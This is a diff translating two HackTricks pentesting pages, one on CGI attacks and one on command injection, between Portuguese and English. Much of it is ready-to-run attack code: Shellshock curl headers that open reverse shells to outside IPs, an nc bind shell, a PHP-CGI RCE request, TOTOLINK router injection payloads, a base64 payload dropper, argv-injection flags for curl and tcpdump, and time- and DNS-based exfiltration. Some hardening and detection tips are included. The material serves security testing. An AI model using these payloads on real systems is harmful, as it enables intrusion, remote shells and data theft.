Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',

src/network-services-pentesting/pentesting-web/cgi.md

@@ -1,26 +1,30 @@
+# CGI Pentesting
+
 {{#include ../../banners/hacktricks-training.md}}
 
-# Informação
 
-Os **scripts CGI são scripts perl**, então, se você comprometeu um servidor que pode executar _**.cgi**_ scripts, você pode **fazer upload de um shell reverso perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **mudar a extensão** de **.pl** para **.cgi**, dar **permissões de execução** \(`chmod +x`\) e **acessar** o shell reverso **pelo navegador** para executá-lo. Para testar por **vulnerabilidades CGI**, é recomendado usar `nikto -C all` \(e todos os plugins\)
+## Information
 
-# **ShellShock**
+The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
+In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
 
-**ShellShock** é uma **vulnerabilidade** que afeta o amplamente utilizado **Bash** shell de linha de comando em sistemas operacionais baseados em Unix. Ela ataca a capacidade do Bash de executar comandos passados por aplicativos. A vulnerabilidade reside na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como os processos são executados em um computador. Os atacantes podem explorar isso anexando **código malicioso** a variáveis de ambiente, que é executado ao receber a variável. Isso permite que os atacantes potencialmente comprometam o sistema.
+## **ShellShock**
 
-Explorando essa vulnerabilidade, a **página pode gerar um erro**.
+**ShellShock** é uma **vulnerabilidade** que afeta o amplamente usado shell de linha de comando **Bash** em sistemas operacionais baseados em Unix. Ela explora a capacidade do Bash de executar comandos passados por aplicações. A vulnerabilidade está na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como processos são executados em um computador. Atacantes podem explorar isso anexando **código malicioso** às variáveis de ambiente, que é executado ao receber a variável. Isso permite que atacantes potencialmente comprometam o sistema.
 
-Você pode **encontrar** essa vulnerabilidade notando que está usando uma **versão antiga do Apache** e **cgi_mod** \(com a pasta cgi\) ou usando **nikto**.
+Ao explorar essa vulnerabilidade a **página pode lançar um erro**.
 
-## **Teste**
+Você pode **encontrar** essa vulnerabilidade percebendo que está usando uma **versão antiga do Apache** e **cgi_mod** \(com pasta cgi\) ou usando **nikto**.
 
-A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta da web. Se você acha que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
+### **Test**
+
+A maioria dos testes baseia-se em usar o comando `echo` para imprimir algo e esperar que essa string seja retornada na resposta web. Se você achar que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
 
 **Nmap**
 ```bash
 nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
 ```
-## **Curl \(refletido, cego e fora de banda\)**
+## **Curl \(reflected, blind and out-of-band\)**
 ```bash
 # Reflected
 curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
 ```bash
 python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
 ```
-## Explorar
+### Exploit
 ```bash
 #Bind Shell
 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@@ -47,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
 > set rhosts 10.1.2.11
 > run
 ```
-# **Proxy \(MitM para solicitações de servidor web\)**
+## Roteadores CGI centralizados (single endpoint routing via selector parameters)
 
-CGI cria uma variável de ambiente para cada cabeçalho na solicitação http. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
+Muitas interfaces web embarcadas multiplexam dezenas de ações privilegiadas por trás de um único CGI endpoint (por exemplo, `/cgi-bin/cstecgi.cgi`) e usam um parâmetro seletor como `topicurl=<handler>` para rotear a requisição para uma função interna.
 
-Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um **cabeçalho** contendo: "**Proxy: &lt;IP_atacante&gt;:&lt;PORTA&gt;**" e se o servidor realizar qualquer solicitação durante a sessão. Você poderá capturar cada solicitação feita pelo servidor.
+Methodology to exploit these routers:
 
-# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+- Enumerar nomes de handlers: scrape JS/HTML, brute-force com wordlists, ou unpack firmware e grep por strings de handler usadas pelo dispatcher.
+- Testar unauthenticated reachability: alguns handlers esquecem auth checks e são diretamente chamáveis.
+- Focar em handlers que invocam system utilities ou touch files; validadores fracos frequentemente bloqueiam apenas alguns caracteres e podem perder o hífen inicial `-`.
 
-Basicamente, se cgi estiver ativo e php for "antigo" \(&lt;5.3.12 / &lt; 5.4.2\) você pode executar código. 
-Para explorar essa vulnerabilidade, você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\). 
-Então, para testar essa vulnerabilidade, você poderia acessar, por exemplo, `/index.php?-s` \(note o `-s`\) e **o código fonte da aplicação aparecerá na resposta**.
+Formas genéricas de exploit:
+```http
+POST /cgi-bin/cstecgi.cgi HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
 
-Então, para obter **RCE**, você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da solicitação. Exemplo:**
+# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
+topicurl=<handler>&param=-n
+
+# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
+topicurl=setEasyMeshAgentCfg&agentName=;id;
+
+# 3) Validator bypass → arbitrary file write in file-touching handlers
+topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
+```
+Detection and hardening:
+
+- Watch for unauthenticated requests to centralized CGI endpoints with `topicurl` set to sensitive handlers.
+- Flag parameters that begin with `-` (argv option injection attempts).
+- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
+
+## PHP antigo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+
+Basicamente, se o CGI estiver ativo e o PHP for "antigo" \(&lt;5.3.12 / &lt; 5.4.2\) você pode executar código.
+Para explorar essa vulnerabilidade você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\).
+Então, para testar essa vulnerabilidade, você pode acessar por exemplo `/index.php?-s` \(note o `-s`\) e **o código-fonte da aplicação aparecerá na resposta**.
+
+Para obter **RCE** você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da requisição.
+Example:**
 ```bash
 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
 ```
-**Mais informações sobre a vulnerabilidade e possíveis explorações:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
+**Mais informações sobre o vuln e possíveis exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
 
+## **Proxy \(MitM para requisições do servidor web\)**
+
+CGI cria uma variável de ambiente para cada cabeçalho na requisição HTTP. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
+
+Como a variável HTTP_PROXY pode ser usada pelo servidor web, tente enviar um **header** contendo: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" e, se o servidor executar qualquer requisição durante a sessão, você poderá capturar cada requisição feita pelo servidor.
+
+## **Referências**
+
+- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/command-injection.md

@@ -4,11 +4,11 @@
 
 ## What is command Injection?
 
-A **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
+Uma **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
 
 ### Contexto
 
-Dependendo de **onde sua entrada está sendo injetada** você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
+Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
 
 ## Command Injection/Execution
 ```bash
@@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 ```
 ### **Limition** Bypasses
 
-Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** você terá interesse em ler sobre estes **Bypasses:**
+Se você está tentando executar **arbitrary commands inside a linux machine**, vai se interessar em ler sobre estes **Bypasses:**
 
 
 {{#ref}}
@@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parâmetros
 
-Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e a vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -77,7 +77,7 @@ Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injec
 ```
 ### Time based data exfiltration
 
-Extraindo dados: char by char
+Extraindo data: char por char
 ```
 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 real    0m5.007s
@@ -91,7 +91,7 @@ sys 0m0.000s
 ```
 ### DNS based data exfiltration
 
-Baseado na ferramenta `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
+Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` spawns a **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para o shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
+`exec()` inicia uma **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para a shell (aspas invertidas, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
 
-**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhum shell seja envolvido:
+**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhuma shell esteja envolvida:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,9 +140,38 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocava dados controlados pelo atacante em `id_user`, que depois eram incorporados em uma chamada `exec()`, conseguindo RCE (Pwn2Own Ireland 2024).
+Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em `id_user`, os quais foram posteriormente embutidos em uma chamada `exec()`, permitindo RCE (Pwn2Own Ireland 2024).
 
-## Brute-Force Detection List
+### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
+
+Nem todas as injeções exigem metacaracteres do shell. Se a aplicação passa strings não confiáveis como argumentos para um utilitário do sistema (mesmo com `execve`/`execFile` e sem shell), muitos programas ainda interpretarão qualquer argumento que comece com `-` ou `--` como uma opção. Isso permite que um atacante mude modos, altere caminhos de saída ou dispare comportamentos perigosos sem nunca abrir um shell.
+
+Locais típicos onde isso aparece:
+
+- Embedded web UIs/CGI handlers que constroem comandos como `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
+- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` com um parâmetro seletor como `topicurl=<handler>`) onde múltiplos handlers reutilizam o mesmo validador fraco.
+
+O que tentar:
+
+- Forneça valores que comecem com `-`/`--` para serem interpretados como flags pela ferramenta a jusante.
+- Abusar de flags que mudam o comportamento ou escrevem arquivos, por exemplo:
+  - `ping`: `-f`/`-c 100000` para sobrecarregar o dispositivo (DoS)
+  - `curl`: `-o /tmp/x` para gravar caminhos arbitrários, `-K <url>` para carregar configuração controlada pelo atacante
+  - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` para obter execução após rotação em wrappers inseguros
+- Se o programa aceita `--` (end-of-options), tente contornar mitigações ingênuas que prefixam `--` no lugar errado.
+
+Formas genéricas de PoC contra roteadores CGI centralizados:
+```
+POST /cgi-bin/cstecgi.cgi HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+
+# Flip options in a downstream tool via argv injection
+topicurl=<handler>&param=-n
+
+# Unauthenticated RCE when a handler concatenates into a shell
+topicurl=setEasyMeshAgentCfg&agentName=;id;
+```
+## Lista de Detecção de Brute-Force
 
 
 {{#ref}}
@@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
 - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
 - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
 - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
 
 {{#include ../banners/hacktricks-training.md}}